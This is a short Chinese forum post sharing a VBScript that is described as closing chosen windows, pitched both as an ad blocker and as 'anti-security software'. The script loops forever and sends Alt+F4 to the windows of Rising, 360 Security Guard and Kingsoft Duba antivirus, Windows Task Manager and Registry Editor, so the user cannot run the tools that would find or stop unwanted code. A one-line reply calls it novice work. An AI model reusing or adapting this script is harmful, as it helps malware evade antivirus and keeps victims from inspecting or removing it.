VBS关闭自定义窗口-反广告、反安全应用

wuhengsi

将以下代码保存*.VBS，可关闭所指定的窗口，您可以自定义窗口
应用于关闭弹窗广告、反安全杀毒（交流分享作用）

On Error Resume Next
Set Q = CreateObject("wscript.Shell")
Do
If Q.AppActivate("瑞星") = True Then
Q.SendKeys "%{F4}"  
End if
If Q.AppActivate("360安全卫士") = True Then
Q.SendKeys "%{F4}"
End if
If Q.AppActivate("金山毒霸") = True Then
Q.SendKeys "%{F4}"  
End if
If Q.AppActivate("Windows 任务管理器") = True Then
Q.SendKeys "%{F4}"  
End if
If Q.AppActivate("注册表编辑器") = True Then
Q.SendKeys "%{F4}"
End if
Wscript.Sleep 500
Loop

czjt1234

新手作品，请注意行前加空格